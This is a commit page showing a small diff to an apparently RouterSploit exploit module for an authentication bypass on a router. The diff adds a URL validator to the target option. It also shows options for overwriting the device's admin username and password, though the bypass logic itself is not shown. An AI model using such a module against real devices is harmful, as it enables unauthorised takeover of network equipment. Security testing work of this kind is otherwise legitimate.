Commit 6e5c544d by 0BuRner Committed by GitHub

Update dwg855_authbypass.py

parent 98fb3dd7
...@@ -7,6 +7,8 @@ from routersploit import ( ...@@ -7,6 +7,8 @@ from routersploit import (
print_status, print_status,
sanitize_url, sanitize_url,
http_request, http_request,
mute,
validators
) )
...@@ -30,7 +32,7 @@ class Exploit(exploits.Exploit): ...@@ -30,7 +32,7 @@ class Exploit(exploits.Exploit):
] ]
} }
target = exploits.Option('192.168.0.1', 'Target address e.g. http://192.168.0.1') target = exploits.Option('192.168.0.1', 'Target address e.g. http://192.168.0.1', validators=validators.url)
port = exploits.Option(80, 'Target Port') port = exploits.Option(80, 'Target Port')
nuser = exploits.Option('ruser', 'Overwrite old user with.. ') nuser = exploits.Option('ruser', 'Overwrite old user with.. ')
npass = exploits.Option('rpass', 'Overwrite old password with.. ') npass = exploits.Option('rpass', 'Overwrite old password with.. ')
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment